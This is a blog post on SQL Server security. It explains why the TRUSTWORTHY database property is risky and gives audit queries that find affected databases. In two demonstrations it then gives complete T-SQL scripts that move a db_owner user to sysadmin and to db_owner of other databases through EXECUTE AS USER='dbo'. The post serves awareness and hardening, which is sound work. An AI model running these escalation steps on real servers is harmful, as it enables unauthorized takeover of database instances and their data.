Hey guys!
In another article about security, which is the topic of my talk at MVPConf LATAM 2019, I will share with you the risks of the TRUSTWORTHY property of a database in SQL Server, which is widely used in environments that use SQLCLR libraries with EXTERNAL_ACCESS or UNRESTRICTED permission level.

If you have a SQLCLR library and have enabled the Trustworthy property because of this, be aware that there are other ways of being able to use your CLR libraries without having to activate this property, which is using certificates and signing the Assembly in SQL Server. I will soon write an article about this.

To identify the databases in your instance that have this property enabled, use the query below:

SELECT database_id, [name], owner_sid, state_desc, is_trustworthy_on
FROM sys.databases
WHERE is_trustworthy_on = 1

Result:

And in a slightly more elaborate query, we can now make the association with SQLCLR assemblies and with the users who are db_owner in these databases:

IF (OBJECT_ID('tempdb..#Bancos_Trustworthy') IS NOT NULL) DROP TABLE #Bancos_Trustworthy
CREATE TABLE #Bancos_Trustworthy
(
    [database_id] INT,
    [name] NVARCHAR(128),
    [owner_sid] VARBINARY(85),
    [db_owner_member] NVARCHAR(128),
    [state_desc] NVARCHAR(60),
    [is_trustworthy_on] BIT,
    [assembly_name] NVARCHAR(128),
    [permission_set_desc] NVARCHAR(60),
    [create_date] DATETIME
)

INSERT INTO #Bancos_Trustworthy
EXEC sys.sp_MSforeachdb '
SELECT 
    A.database_id, 
    A.[name], 
    A.owner_sid,
    C.member_name,
    A.state_desc, 
    A.is_trustworthy_on,
    B.[name] AS assembly_name,
    B.permission_set_desc,
    B.create_date
FROM 
    [?].sys.databases A
    LEFT JOIN [?].sys.assemblies B ON B.is_user_defined = 1
    OUTER APPLY (
        SELECT B.[name] AS member_name
        FROM [?].sys.database_role_members A
        JOIN [?].sys.database_principals B ON A.member_principal_id = B.principal_id
        JOIN [?].sys.database_principals C ON A.role_principal_id = C.principal_id
        WHERE C.[name] = ''db_owner''
        AND C.is_fixed_role = 1
        AND B.principal_id > 4
    ) C
WHERE
    A.is_trustworthy_on = 1
    AND A.[name] = ''?'''
    

SELECT * FROM #Bancos_Trustworthy

Result:

What is it for and what is the danger of TRUSTWORTHY = ON?

The TRUSTWORTHY property does have its benefits, such as the possibility of executing Stored Procedures with external access in SQLCLR libraries, but it goes beyond that. As Luan Moreno explained in detail in his article Why Use the TRUSTWORTHY Option, this property, when enabled, allows an object created using EXECUTE AS (or even an ad-hoc command) in a given database to access data from another database.

As the EXECUTE AS operation requires a very high level of reliability (learn about the risks of EXECUTE AS clicking here on this link), SQL Server blocks this type of execution, which is only permitted by removing the EXECUTE AS clause from that object or enabling the TRUSTWORTHY property in the database where the object is created.

But what is the risk of having the TRUSTWORTHY property enabled in a database? It's precisely this reliability between the databases... lol

My environment has the following scenario: The user dirceu Dirceu_User is part of the members of the database role db_owner in the CLR database, which has the Trustworthy property enabled. This user is not even created in other databases and does not have any instance-level permissions.

Let's see what can be done in this scenario.

Attempt 1: I want to be a sysadmin!

Right from the start in the first test, I'm going to try to take advantage of the bank having the Trustworthy property enabled to transform me into a sysadmin user. This will be done using the default user dbo, to execute the commands I need:

SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];
GO

USE [CLR]
GO

EXECUTE AS USER = 'dbo'
GO

ALTER SERVER ROLE [sysadmin] ADD MEMBER [Dirceu_User]
GO

REVERT
GO

SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];
GO

Execution result: I am now sysadmin!

Right away, you could understand the risk that this property brings to us, right? Imagine a database with this property enabled and the user of some application is in the db_owner role. A simple SQL Injection can cause an attacker to obtain sysadmin privileges on the instance, even if the application user is not a sysadmin. To learn more about SQL Injection, read my article SQL Server – How to avoid SQL Injection? Stop using Dynamic Query like EXEC(@Query). Now..

Attempt 2: I want to be db_owner of other databases!

In this second attempt, I will try to create my user in another database and put myself as db_owner of that database as well. This way, an attacker gains access to other databases that exist in the instance, not just the bank that he managed to invade.

Let's try to access the “dirceuresende” database, as I want to read the data that is there:

Yes, my user does not exist there. Well, let's invade then:

-- Mostra meu usuário e comprova que não sou sysadmin
SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?]

Let's now access the “dirceuresende” database through EXECUTE AS:

-- Banco que sou db_owner e possui parâmetro Trustworthy habilitado
USE [CLR]
GO

-- Mudo o contexto da execução para o usuário dbo (sysadmin por default)
EXECUTE AS USER = 'dbo'
GO

-- Utilizando o usuário dbo, vou mudar o database da minha sessão para o "dirceuresende"
USE [dirceuresende]
GO

-- Confirmando que estou acessando o database "dirceuresende"
SELECT DB_ID(), DB_NAME()
GO

Now I will list who the db_owners are in this database:

-- Listo quem são os usuários sysadmin
SELECT C.[name] AS member_name
FROM sys.database_role_members A
JOIN sys.database_principals B ON A.role_principal_id = B.principal_id
JOIN sys.database_principals C ON A.member_principal_id = C.principal_id
WHERE B.[name] = 'db_owner'
AND B.is_fixed_role = 1
GO

Starting my “invasion”, I am using the execution context of the dbo user and with that, I can create my user in this database and add myself to the database role db_owner:

-- Crio meu usuário nesse database
CREATE USER [Dirceu_User] FOR LOGIN [Dirceu_User]
GO

-- Me autoadiciono na database role db_owner
ALTER ROLE [db_owner] ADD MEMBER [Dirceu_User]
GO

-- Volto para o database que eu executei o comando EXECUTE AS
-- Msg 15199, Level 16, State 1, Line 46
-- The current security context cannot be reverted. Please switch to the original database where 'Execute As' was called and try it again.
USE [CLR]
GO

-- Volto o contexto de execução para o usuário Dirceu_User
REVERT
GO

Now my user is db_owner of the “dirceuresende” database :). Don't believe it? I'll try it.

-- Mostra meu usuário e comprova que não sou sysadmin
SELECT
    USER_NAME() AS [user_name],
    ORIGINAL_LOGIN() AS [original_login],
    USER AS [user],
    SUSER_NAME() AS [suser_name],
    SUSER_SNAME() AS [suser_sname],
    SYSTEM_USER AS [system_user],
    IS_SRVROLEMEMBER('sysadmin') AS [souSysadmin?];
GO

-- Agora consigo acessar esse database :)
USE [dirceuresende]
GO

-- Confirmando que estou acessando o database "dirceuresende"
SELECT DB_ID(), DB_NAME()
GO

-- Listo novamente quem são os usuários db_owner desse database. Sou db_owner :)
SELECT C.[name] AS member_name
FROM sys.database_role_members A
JOIN sys.database_principals B ON A.role_principal_id = B.principal_id
JOIN sys.database_principals C ON A.member_principal_id = C.principal_id
WHERE B.[name] = 'db_owner'
AND B.is_fixed_role = 1
GO

Final result of my attack:

Well guys, with these 2 types of attacks demonstrated above, I think I managed to expose some security risks when using this property in production environments, especially in databases that are used by applications and are susceptible to attacks such as SQL Injection and the attacker will have many more tools to use with this property enabled in the bank he is attacking.

It is worth mentioning that this property does have its benefits, as I mentioned at the beginning of the post, but it must be activated with great care and awareness of the environment. These examples I demonstrated are just some of them, but N different types of attacks can be carried out exploiting the security hole caused by the Trustworthy property.

If you have a SQLCLR library and have enabled the Trustworthy property because of this, be aware that there are other ways of being able to use your CLR libraries without having to activate this property, which is using certificates and signing the Assembly in SQL Server. I will soon write an article about this. Wait..

And to reassure you, know that only users who are in the sysadmin role can change the TRUSTWORTHY property of a database. Not even the DB owner or users in the db_owner role can change this property.

References:

That's it, folks!
I hope you enjoyed this article and you start taking the security of your environment more seriously. If you are concerned about the security of your environment and want the opinion of an expert on the subject, request the FREE check-up of your database + security analysis: Do you need it?.

Big hug and see you next time!